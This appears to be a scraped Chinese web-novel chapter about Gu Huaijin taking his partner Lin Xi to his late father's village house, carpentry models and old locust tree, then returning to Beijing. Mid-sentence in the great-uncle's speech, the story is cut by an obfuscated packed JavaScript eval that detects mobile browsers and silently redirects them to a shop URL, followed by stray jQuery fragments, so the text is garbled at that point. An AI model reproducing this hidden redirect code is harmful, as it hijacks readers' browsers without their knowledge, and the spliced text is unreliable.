周末清晨，顾怀瑾开车带林溪出城。


    北京在身后渐渐远去，高楼变成平房，车流变成田野。秋日的华北平原一片金黄，玉米地已经收割，秸秆捆成一个个圆筒，散落在田间像大地上的标点符号。


    “还要多久？”林溪看着窗外飞逝的景色。


    “一个半小时。”顾怀瑾单手扶着方向盘，另一只手握住林溪的手，“困的话睡会儿。”


    林溪不困。他太好奇——好奇顾怀瑾长大的地方，好奇那些塑造了这个人的旧时光。


    车子最终拐进一条乡间小路。路很窄，两边是高大的杨树，叶子黄了一半，在阳光下闪闪发光。路的尽头是一个小村庄，几十户人家，红砖房，瓦屋顶，炊烟袅袅。


    顾怀瑾把车停在一棵老槐树下。树很粗，要两人合抱，树干上有个很大的树洞。


    “到了。”他说。


    林溪下车。空气里有柴火味、泥土味、还有晒干的玉米秆的甜香。几个老人坐在不远处的石墩上晒太阳，看见他们，投来好奇的目光。


    顾怀瑾从后备箱拿出一个布袋，牵起林溪的手：“走。”


    他们沿着村里唯一的水泥路往里走。路边的墙上刷着褪色的标语：“少生孩子多种树”。有鸡在路边刨食，有狗懒洋洋地趴着，看见生人也不叫。


    顾怀瑾在一扇锈蚀的铁门前停下。门没锁，轻轻一推就开了。


    是一个小小的院子。三间北房，东西各一间厢房，院里有一口压水井，井边放着两个掉了漆的铁桶。墙角堆着柴火，屋檐下挂着成串的干辣椒和玉米。


    一切都保留着上世纪八十年代的样子，时间在这里仿佛停滞了。


    “这是我爷爷盖的房子。”顾怀瑾轻声说，“我爸在这里长大，我小时候每年暑假都来。”


    他推开正屋的门。屋里很暗，有陈年尘土和旧木头的味道。家具很少：一张八仙桌，几把椅子，一个老式衣柜，还有——靠窗的位置，放着一张木工台。


    木工台上还摆着工具：锯子、刨子、凿子，都已经生锈，但摆放整齐，像主人只是暂时离开。


    “这是我爸的工作台。”顾怀瑾走过去，手指轻轻拂过台面，“他退休后，大部分时间都在这里。做凳子，做柜子，做……房子模型。”


    林溪看见了。墙边的架子上，摆着十几个大大小小的木制模型——都是坡屋顶的房子，有的简单，有的复杂，但每一个都有大大的窗户。


    “他说，真正的建筑师应该从做一把椅子开始。”顾怀瑾拿起一个最小的模型，只有巴掌大，“因为椅子要承重，要舒适，要经得起坐。这些道理，和建房子是一样的。”


    林溪接过那个小模型。木材已经泛黄，但榫卯结构依然精密。他能想象一个老人坐在这里，用颤抖的手，一点一点打磨这些木头的样子。


    “他在这里……快乐吗？”林溪轻声问。


    顾怀瑾沉默了一会儿：“我不知道。他很少说话，就是做东西。但我记得，每次完成一个模型，他会把它放在窗台上，看很久。阳光照在上面的时候，他会笑。”


    阳光从窗外斜射进来，正好照在那些模型上。尘埃在光柱中飞舞，像细小的、金色的雪。


    他们在屋里待了很久。顾怀瑾给林溪看墙上的身高刻度——从一米到一米七，铅笔线已经模糊，旁边标注着日期：“1996.7”“2000.8”“2010.7”。


    “这是我。”顾怀瑾指着最高的那条线，“最后一次来，十七岁。后来要高考，再后来出国，就很少回来了。”


    林溪想象着少年顾怀瑾站在这里，背靠着墙，父亲用尺子量他的身高，用铅笔做记号。一年又一年，孩子长高，父亲变老。


    “您父亲……是个什么样的人？”他问。


    顾怀瑾想了想：“沉默，固执，手很巧。他不太会表达感情，但会给我做玩具——木枪，弹弓，小推车。我上大学那年，他给我做了一个工具箱，里面装满了工具，说：‘以后你自己修东西。’”


    他顿了顿：“那是我第一次意识到，他要老了。因为以前，他总觉得我还小，什么事都该他来做。”


    林溪握紧他的手。


    他们走出屋子，来到院子里。顾怀瑾指着那口压水井：“夏天，我爸会把西瓜放井里冰着。傍晚拿出来，一切两半，我们用勺子挖着吃。”


    又指着墙角：“那里原来有棵枣树，我总爬上去摘枣，有一次摔下来，胳膊骨折了。我妈气得要砍树，我爸不让，说‘树没错，是他自己不小心’。”


    每一个角落，都有一个故事。林溪安静地听着，把这些碎片拼凑起来，渐渐看到一个完整的、有血有肉的顾父形象——不是只在怀瑾回忆中出现的模糊身影，而是一个沉默但深情的父亲，一个用双手建造生活的男人。


    最后，他们回到那棵老槐树下。


    树冠如盖，投下大片荫凉。树干上的树洞黑黝黝的，能容一个孩子钻进去。


    “这个洞，”顾怀瑾说，“是我爸小时候挖的。他说，里面藏过弹珠，藏过小人书，还藏过……一封没寄出的信。”


    林溪的心轻轻一震：“信？”


    “嗯。给我妈的信。他们年轻时，我爸在城里工作，我妈在村里教书。他写了信，但不好意思寄，就藏在这里。后来我妈自己发现了。”


    顾怀瑾笑了，笑容里有难得的轻松：“妈说，那封信写得笨拙极了，但她是哭着看完的。”


    林溪也笑了。他能想象那个画面——年轻的工匠，笨拙地表达爱意；年轻的教师，在树洞里发现秘密。然后，他们结婚，生子，变老。


    “我爸走后，”顾怀瑾轻声说，“妈把一些他的东西也藏进了这个树洞。说‘让它们回到开始的地方’。”


    他从布袋里拿出一个小木盒，打开，里面是一卷发黄的图纸——是顾父晚年画的那些坡屋顶房子的原稿。


    “今天，”顾怀瑾看向林溪，“我想把这些也放进去。不是埋葬，是……让它们休息。”


    林溪点点头。


    顾怀瑾俯身，把木盒小心地放进树洞深处。然后他直起身，拍了拍手上的土。


    “好了。”他说，“该见的都见了，该说的……都在这里了。”


    阳光透过槐树叶的缝隙洒下来，在他脸上投下晃动的光斑。林溪突然觉得，这一刻的顾怀瑾，好像卸下了什么重担，整个人都轻盈了许多。


    他们在树下站了很久。风吹过，树叶沙沙作响，像在低语。


    离开时，经过村口的石墩，一个晒太阳的老人忽然开口：“是怀瑾吧？”


    顾怀瑾停下脚步，辨认了一会儿：“三爷爷？”


    老人笑了，缺了门牙：“真是你！长大了，认不出了。”


    三爷爷已经八十多岁，背驼得厉害，但眼睛很亮。他上下打量林溪：“这是……”


    “林溪。”顾怀瑾握住林溪的手，“我……很重要的人。”


    老人点点头，也不多问，只是说：“你爸要是知道，肯定高兴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193508|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。他老说，怀瑾这孩子，什么都好，就是太独。”


    顾怀瑾眼眶微红。


    “你爸啊，”三爷爷眯起眼睛，看向远方，“年轻时候是我们村最巧的手。谁家盖房子都找他，他不收钱，就要管饭。他说，房子是给人住的，得用心。”


    他顿了顿：“后来他年纪大了，身体不好，但还记得怎么画房子。有一次我看见他，坐在你家院子里，对着空气比划，嘴里念叨‘窗子要开大，阳光宝贵’。我就想啊，这人，魂儿还在盖房子呢。”


    林溪感到顾怀瑾握他的手紧了紧。


    “孩子，”三爷爷看向顾怀瑾，“你爸没说完的话，你替他说。没盖完的房子，你替他盖。这就够了。”


    顾怀瑾深深鞠躬：“谢谢三爷爷。”


    “谢啥。”老人摆摆手，“快回去吧。天晚了路不好走。”


    回程的车里，两人都很沉默。但沉默不是沉重，是一种饱含的、沉淀后的平静。


    开到半路，顾怀瑾忽然把车停在路边。远处是连绵的田野，夕阳正在西沉，把天空染成橘红色。


    “林溪。”他说。


    “嗯？”


    “谢谢你陪我来。”


    “应该的。”


    顾怀瑾转过头，在暮色中看着他：“今天，我觉得……我爸见到你了。在那个院子里，在老槐树下，他见到了。”


    林溪感到鼻子发酸：“他会……喜欢我吗？”


    “会。”顾怀瑾微笑，“他会说：‘这小子眼睛亮，手稳，是个好苗子。’”


    “然后呢？”


    “然后说：‘窗子要开大。’”


    两人都笑了。笑着笑着，顾怀瑾的眼角有泪光闪动。林溪伸手，轻轻擦去那滴泪。


    夕阳完全沉没时，他们重新上路。车灯切开暮色，像船划开黑夜的海。


    回到北京已经晚上九点。刚停好车，顾怀瑾的手机响了。是顾怀玥。


    “怀瑾，我整理妈遗物的时候，发现一个盒子，里面有些东西……我觉得应该给你和林溪看看。”电话那头，顾怀玥的声音很轻，“你看……明天行吗？”


    顾怀瑾看向林溪，用眼神询问。林溪深吸一口气，点点头。


    “好。”顾怀瑾说，“明天下午。”


    挂了电话，两人站在电梯里。镜面映出他们依偎的身影。


    “会是什么？”林溪问。


    “不知道。”顾怀瑾摇摇头，“但怀玥说很重要，应该是……和妈有关的东西。”


    “紧张吗？”


    “有点。”顾怀瑾老实说，“但又觉得……好像终于要拼上最后一块拼图。”


    林溪看着电梯数字跳动：15，16，17。然后他说：“我陪你。”


    电梯门开。家门口，走廊的声控灯应声而亮。


    顾怀瑾没有立刻开门，而是转身，把林溪按在门上，深深地吻他。这个吻里有今天的尘埃味，有老槐树的叶香，有夕阳的余温，还有——承诺。


    分开时，两人都喘着气。


    “明天，”顾怀瑾抵着他的额头，“不管是什么，记住：我爱你。这就够了。”


    林溪点头，眼眶发热：“我也爱你。”


    门开了又关。灯光亮起，把这个小小的空间变成温暖的孤岛。


    窗外，北京的城市之光如星河铺展。而在这星河中的一点微光里，两个相爱的人，正准备迎接生命中又一个重要的时刻。


    夜还长。但有了彼此，再长的夜也不怕。